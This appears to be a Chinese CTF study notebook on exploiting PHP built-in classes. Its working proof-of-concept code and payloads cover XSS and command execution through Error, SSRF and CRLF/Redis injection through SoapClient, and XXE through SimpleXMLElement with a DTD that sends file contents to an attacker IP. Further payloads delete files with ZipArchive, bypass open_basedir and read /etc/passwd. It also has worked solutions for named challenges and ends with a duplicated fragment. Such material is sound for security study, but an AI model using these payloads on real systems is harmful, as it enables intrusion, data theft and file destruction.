前提知识
寻找原生类
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
// 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
))) {
print $class . '::' . $method . "\n";
}
}
}
常遇到的几个 PHP 原生类如下
Error
Exception
SoapClient
DirectoryIterator
FilesystemIterator
SplFileObject
SimpleXMLElement
Error/Exception
- message:错误消息内容
- code:错误代码
- file:抛出错误的文件名
- line:抛出错误在该文件中的行数
Error XSS
适用于php7
开启报错的情况下
<?php
$a = unserialize($_GET['b']);
echo $a;
<?php
$a = new Error("<script>alert('1')</script>");
echo urlencode(serialize($a));
Excepthin XSS
适用于php5、7版本
开启报错的情况下
<?php
$a = new Exception("<script>alert('1')</script>");
echo urlencode(serialize($a));
Error 命令执行
<?php
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b());");
?>
?a=Error&b=phpinfo
?a=Error&b=system(‘ipconfig’)
绕过哈希比较
Error implements Throwable {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}
<?php
$a = new Error("coleak",1);$b = new Error("coleak",2);
echo $a.PHP_EOL.PHP_EOL;
echo $b;
Error: coleak in E:\phpproject\Pro\1.php:2
Stack trace:
#0 {main}Error: coleak in E:\phpproject\Pro\1.php:2
Stack trace:
#0 {main}
$a
和 $b
这两个错误对象本身是不同的,但是 __toString
方法返回的结果是相同的
利用Error和Exception类的这一点可以绕过在PHP类中的哈希比较
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
本地测试
<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
$s=new SYCLOVER();
$s->lover=array("coleak");
$s->syc[]="echo 1;";
//echo urlencode(serialize($s));
if( ($s->syc != $s->lover) && (md5($s->syc) === md5($s->lover)) && (sha1($s->syc)=== sha1($s->lover)) ) {
if (!preg_match("/\<\?php|\(|\)|\"|\'/", $s->syc, $match)) {
eval($s->syc);
// echo 1;
}
}
// } else {
// die("Try Hard !!");
// }
// echo 1;
?>
eval($s->syc);这步报错,不能将一个数组当代码执行
只有当$s->syc[0]则可以成功执行命令
md5()和sha1()可以对一个类进行hash,并且会触发这个类的 __toString 方法;且当eval()函数传入一个类对象时,也会触发这个类里的 __toString 方法。
preg_match,过滤了括号,无法调用函数,尝试include "flag",但是引号过滤了,我们可以使用两次取反,自动获得字符串的。
poc
<?php
class SYCLOVER {
public $syc;
public $lover;
}
$cmd='flag';
$cmd=urlencode(~$cmd);
//echo $cmd;
$str = "?><?=include~".urldecode("%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>
SoapClient
PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。
SSRF
该内置类有一个
__call
方法,当__call
方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个__call
方法,使得 SoapClient 类可以被我们运用在 SSRF 中。而__call
触发很简单,就是当对象访问不存在的方法的时候就会触发。
<?php
//uri+cc=SOAPAction
$a = new SoapClient(null,array('location'=>'http://ip:6666/coleak', 'uri'=>'http://ip:6666'));
$a->cc(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
POST /coleak HTTP/1.1
Host: ip:6666
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.3.4
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://ip:6666#cc"
Content-Length: 386
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://ip:6666" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:cc/></SOAP-ENV:Body></SOAP-ENV:Envelope>
SSRF+CRLF
<?php
$target = 'http://ip:6666';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4", 'uri' => 'test11'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
POST / HTTP/1.1
Host: ip:6666
Connection: Keep-Alive
User-Agent: WHOAMI
Cookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4
Content-Type: text/xml; charset=utf-8
SOAPAction: "test11#a"
Content-Length: 367
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="test11" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>
插入Redis命令
<?php
$target = 'http://ip:6666/';
$poc = "CONFIG SET dir /var/www/html";
$a = new SoapClient(null,array('location' => $target, 'uri' => 'hello^^'.$poc.'^^hello'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
POST / HTTP/1.1
Host: ip:6666
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.3.4
Content-Type: text/xml; charset=utf-8
SOAPAction: "hello
CONFIG SET dir /var/www/html
hello#a"
Content-Length: 403
发送POST数据包,Content-Type 的值设置为 application/x-www-form-urlencoded,而且Content-Length的值需要与post的数据长度一致。而且http头跟post数据中间间隔
\r\n\r\n
,其他间隔\r\n
<?php
$target = 'http://ip:6666/';
$post_data = 'data=whoami';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'coleak^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
POST / HTTP/1.1
Host: ip:6666
Connection: Keep-Alive
User-Agent: coleak
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93
Content-Length: 11
data=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365
bestphp’s revenge
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name']))
{
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> array(0) { }
扫描目录出来flag.php
only localhost can get flag!
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1")
{ $_SESSION['flag'] = $flag; }
only localhost can get flag!
这里REMOTE_ADDR没法通过X-Forwarded-For等常规方法伪造,考虑使用php原生类进行SSRF
?name=coleak
array(1) { ["name"]=> string(6) "coleak" }
poc
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "coleak\r\nCookie: PHPSESSID=33t4er7gfrn4ki5d3sljmps1t1\r\n",
'uri' => "coleak"));
$payload = urlencode(serialize($attack));
echo $payload;
O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A6%3A%22coleak%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A54%3A%22coleak%0D%0ACookie%3A+PHPSESSID%3D33t4er7gfrn4ki5d3sljmps1t1%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
现在需要我们反序列化这个对象,但这里有没有反序列化点,我们在题目源码中发现了session_start();,我们可以用session反序列化漏洞。但是如果想要利用session反序列化漏洞的话,我们必须要有 ini_set() 这个函数来更改 session.serialize_handler 的值,将session反序列化引擎修改为其他的引擎,本来应该使用ini_set()这个函数的,但是这个函数不接受数组,所以就不行了。于是我们就用session_start()函数来代替,即构造 session_start(serialize_handler=php_serialize) 就行了。我们可以利用题目中的 call_user_func($_GET['f'], $_POST); 函数,传入GET:/?f=session_start POST:serialize_handler=php_serialize,实现 session_start(serialize_handler=php_serialize) 的调用来修改此页面的序列化引擎为php_serialize。
http://28292289-4593-48f5-b253-e67aee6218eb.node4.buuoj.cn:81/?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A6%3A%22coleak%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A54%3A%22coleak%0D%0ACookie%3A+PHPSESSID%3D33t4er7gfrn4ki5d3sljmps1t1%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
serialize_handler=php_serialize
此时,我们成功将我们php原生类SoapClient构造的payload传入了构造的session中,当页面重新加载时,就会自动将其反序列化。但此时还不会触发SSRF,需要触发
__call
方法来造成SSRF,该方法在访问对象中一个不存在的方法时会被自动调用,所以单纯反序列化还不行,我们还需要访问该对象中一个不存在的方法
call_user_func(call_user_func, array(reset($_SESSION), 'welcome_to_the_lctf2018'));
//call_user_func()函数有一个特性,就是当只传入一个数组时,可以用call_user_func()来调用一个类里面的方法,call_user_func()会将这个数组中的第一个值当做类名,第二个值当做方法名。
http://28292289-4593-48f5-b253-e67aee6218eb.node4.buuoj.cn:81/?f=extract
b=call_user_func
重新访问得到存在session的flag
SimpleXMLElement
final public __construct ( string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = "" [, bool $is_prefix = FALSE ]]]] )
public SimpleXMLElement::__construct
(
string $data,
int $options = 0,
bool $dataIsURL = false,
string $namespaceOrPrefix = "",
bool $isPrefix = false
)
XXE
SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。
当我们将第三个参数
data_is_url
设置为true的话,我们就可以调用远程xml文件,实现xxe的攻击。第二个参数的常量值我们设置为2
即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。
Homework
<?php
class calc{
function __construct__(){
calc();
}
function calc($args1,$method,$args2){
$args1=intval($args1);
$args2=intval($args2);
switch ($method) {
case 'a':
$method="+";
break;
case 'b':
$method="-";
break;
case 'c':
$method="*";
break;
case 'd':
$method="/";
break;
default:
die("invalid input");
}
$Expression=$args1.$method.$args2;
eval("\$r=$Expression;");
die("Calculation results:".$r);
}
}
?>
根据calc类里面的内容得知,这里通过module传参去调用calc类,然后剩下3个变量是calc($args1,$method,$args2)函数中参数。
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:6666?p=%file;'>">
a.xml
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
/show.php?module=SimpleXMLElement&args[]=http://ip/a.xml&args[]=2&args[]=true
index.php
<?php
include("function.php");
include("config.php");
$username=w_addslashes($_COOKIE['user']);
$check_code=$_COOKIE['cookie-check'];
$check_sql="select password from user where username='".$username."'";
$check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
if($check_sum!==$check_code){
header("Location: login.php");
}
?>
<?php readfile("./calc.php");?>
show.php
<?php
include("function.php");
include("config.php");
include("calc.php");
if(isset($_GET['action'])&&$_GET['action']=="view"){
if($_SERVER["REMOTE_ADDR"]!=="127.0.0.1") die("Forbidden.");
if(!empty($_GET['filename'])){
$file_info=sql_result("select * from file where filename='".w_addslashes($_GET['filename'])."'",$mysql);
$file_name=$file_info['0']['2'];
echo("file code: ".file_get_contents("./upload/".$file_name.".txt"));
$new_sig=mt_rand();
sql_result("update file set sig='".intval($new_sig)."' where id=".$file_info['0']['0']." and sig='".$file_info['0']['3']."'",$mysql);
die("<br>new sig:".$new_sig);
}else{
die("Null filename");
}
}
$username=w_addslashes($_COOKIE['user']);
$check_code=$_COOKIE['cookie-check'];
$check_sql="select password from user where username='".$username."'";
$check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
if($check_sum!==$check_code){
header("Location: login.php");
}
$module=$_GET['module'];
$args=$_GET['args'];
do_api($module,$args);
?>
function.php
<?php
function sql_result($sql,$mysql){
if($result=mysqli_query($mysql,$sql)){
$result_array=mysqli_fetch_all($result);
return $result_array;
}else{
echo mysqli_error($mysql);
return "Failed";
}
}
function upload_file($mysql){
if($_FILES){
if($_FILES['file']['size']>2*1024*1024){
die("File is larger than 2M, forbidden upload");
}
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!sql_result("select * from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql)){
$filehash=md5(mt_rand());
if(sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")",$mysql)=="Failed") die("Upload failed");
$new_filename="./upload/".$filehash.".txt";
move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
}else{
$hash=sql_result("select filehash from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql) or die("Upload failed");
$new_filename="./upload/".$hash[0][0].".txt";
move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
}
}else{
die("Not upload file");
}
}
}
function w_addslashes($string){
return addslashes(trim($string));
}
function do_api($module,$args){
$class = new ReflectionClass($module);
$a=$class->newInstanceArgs($args);
}
?>
十六进制转化
a='277c7c6578747261637476616c756528312c636f6e63617428307837652c2873656c656374207265766572736528666c6167292066726f6d20666c6167292c3078376529297c7c27'
hex_string = ""
for i in range(0, len(a), 2):
hex_byte = a[i:i+2] # 每两个字符为一个十六进制字节
decimal_value = int(hex_byte, 16) # 将十六进制字节转换为十进制值
char = chr(decimal_value) # 将十进制值转换为字符
hex_string += char
print(hex_string)
import binascii
a=b"'||extractvalue(1,concat(0x7e,(select reverse(flag) from flag),0x7e))||'"
a=binascii.b2a_hex(a)
print(a)
ZipArchive
ZipArchive类可以对文件进行压缩与解压缩处理。
条件:php 5.20
常见的类方法
ZipArchive::addEmptyDir:添加一个新的文件目录
ZipArchive::addFile:将文件添加到指定zip压缩包中
ZipArchive::addFromString:添加新的文件同时将内容添加进去
ZipArchive::close:关闭ziparchive
ZipArchive::extractTo:将压缩包解压
ZipArchive::open:打开一个zip压缩包
ZipArchive::deleteIndex:删除压缩包中的某一个文件,如:deleteIndex(0)代表删除第一个文件
ZipArchive::deleteName:删除压缩包中的某一个文件名称,同时也将文件删除
ZipArchive::open
方法
ZipArchive::open(string $filename, int $flags=0)
该方法用来打开一个新的或现有的zip存档以进行读取,写入或修改。
filename:要打开的ZIP存档的文件名。
flags:用于打开档案的模式。有以下几种模式:
ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。
ZipArchive::CREATE:如果不存在则创建一个zip压缩包。
ZipArchive::RDONLY:只读模式打开压缩包。
ZipArchive::EXCL:如果压缩包已经存在,则出错。
ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。
注意,如果设置flags参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将flags赋值为8
[NepCTF 2021]梦里花开牡丹亭
<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');
}
}
}
class register{
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
die('success register admin');
}else{
die('please register admin ');
}
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){ // 当waf.txt没读取成功时才能得到flag
shell($content);
}else{
echo file_get_contents($filename.".php"); // filename=php://filter/read=convert.base64-encode/resource=shell
}
}
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
@unserialize(base64_decode($_POST['unser']));
}
这里一开始存在waf.txt不能执行shell,通过反序列化进入file_get_contents先读取shell.php的内容
poc
$a=new Game();
$a->register='admin';
$a->filename='shell';
$a->password='admin';
$a->username='admin';
$a->content="coleak";
$a->file=new Open();
echo base64_encode(serialize($a));
这里需要查看源码才能看到shell.php的内容,因此我们也可以将filename改为伪协议
php://filter/read=convert.base64-encode/resource=shell
shell.php
<?php
function shell($cmd){
if(strlen($cmd)<10){
if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
die("NO");
}else{
return system($cmd);
}
}else{
die('so long!');
}
}
利用ZipArchive的open函数删除文件
<?php
error_reporting(-1);
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
}
class login{
public $file;
public $filename;
public $content;
}
class Open{
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new ZipArchive();
$poc->filename = "waf.txt";
$poc->content = 8;
echo base64_encode(serialize($poc));
?>
执行命令
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new Open();
$poc->filename = "xxx";
$poc->content = "n\l /flag";
echo base64_encode(serialize($poc));
?>
文件操作类
- DirectoryIterator 类
- FilesystemIterator 类
- GlobIterator 类
- SplFileObject 类
遍历文件目录
- DirectoryIterator 类
- FilesystemIterator 类
- GlobIterator 类
DirectoryIterator
执行echo函数时,会触发DirectoryIterator类中的 __toString()
方法,输出指定目录里面经过排序之后的第一个文件名
<?php
$dir=new DirectoryIterator("/");
echo $dir;
遍历文件目录,直接对文件全部输出出来
<?php
$dir=new DirectoryIterator("/");
foreach($dir as $f){
echo($f.'<br>');
//echo($f->__toString().'<br>');
}
glob:// 协议用来查找匹配的文件路径模式
<?php
$dir=new DirectoryIterator("glob:///*fl*");
echo $dir;
FilesystemIterator
FilesystemIterator 类与 DirectoryIterator 类相同
GlobIterator类
<?php
$dir = '/fl*';
$a = new GlobIterator($dir);
foreach($a as $f){
echo $f;
}
?>
绕过 open_basedir
获取目录
DirectoryIterator类 + glob://协议
<?php
print_r(ini_get('open_basedir').'<br>');
$dir_array = array();
$dir = new DirectoryIterator('glob:///*');//目录内容
foreach($dir as $d){
$dir_array[] = $d->__toString();
}
$dir = new DirectoryIterator('glob:///.*');//. ..
foreach($dir as $d){
$dir_array[] = $d->__toString();
}
sort($dir_array);
foreach($dir_array as $d){
echo $d.' ';
}
?>
FilesystemIterator类 + glob://协议
<?php
$dir_array = array();
$dir = new FilesystemIterator('glob:///*');
foreach($dir as $d){
$dir_array[] = $d->__toString();
}
$dir = new FilesystemIterator('glob:///.*');
foreach($dir as $d){
$dir_array[] = $d->__toString();
}
sort($dir_array);
foreach($dir_array as $d){
echo $d.' ';
}
文件读取
<?php
ini_set('open_basedir','/coleak/c');
print_r(ini_get('open_basedir'));
echo file_get_contents('/flag.txt');
这里由于设置了文件工作目录无法直接读取到flag,需要绕过open_basedir,但shell命令不受影响
官方文档显示脚本内定义的open_basedir只能收紧在php.ini的配置。而不能拓宽配置,因此不能直接使用ini_set_来修改路径
ini_set(‘open_basedir’,‘/’);
ini_set() + 相对路径
由于open_basedir自身的问题,设置为相对路径
..
在解析的时候会致使自身向上跳转一层
<?php
show_source(__FILE__);
print_r(ini_get('open_basedir').'<br>');
mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','C:\\');
print_r(ini_get('open_basedir').'<br>');
echo file_get_contents('C:\\test\\test.txt');
?>
symlink
symlink是软连接,通过偷梁换柱的方法绕过open_basedir
当前路径是/www/wwwroot/default,新建目录数量=需要上跳次数+1
软连接中相对路径的转换是不区分类型,用文件夹顶替了软连接
<?php
show_source(__FILE__);
mkdir("1");chdir("1");
mkdir("2");chdir("2");
mkdir("3");chdir("3");
mkdir("4");chdir("4");
chdir("..");chdir("..");chdir("..");chdir("..");
symlink("1/2/3/4","tmplink");
symlink("tmplink/../../../../etc/hosts","bypass");
unlink("tmplink");
mkdir("tmplink");
echo file_get_contents("bypass");
?>
读取文件
SplFileObject
读取文件的一行
<?php
$context = new SplFileObject('/etc/passwd');
echo $context;
对文件中的每一行内容进行遍历
<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}
hdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','C:\\');
print_r(ini_get('open_basedir').'<br>');
echo file_get_contents('C:\\test\\test.txt');
?>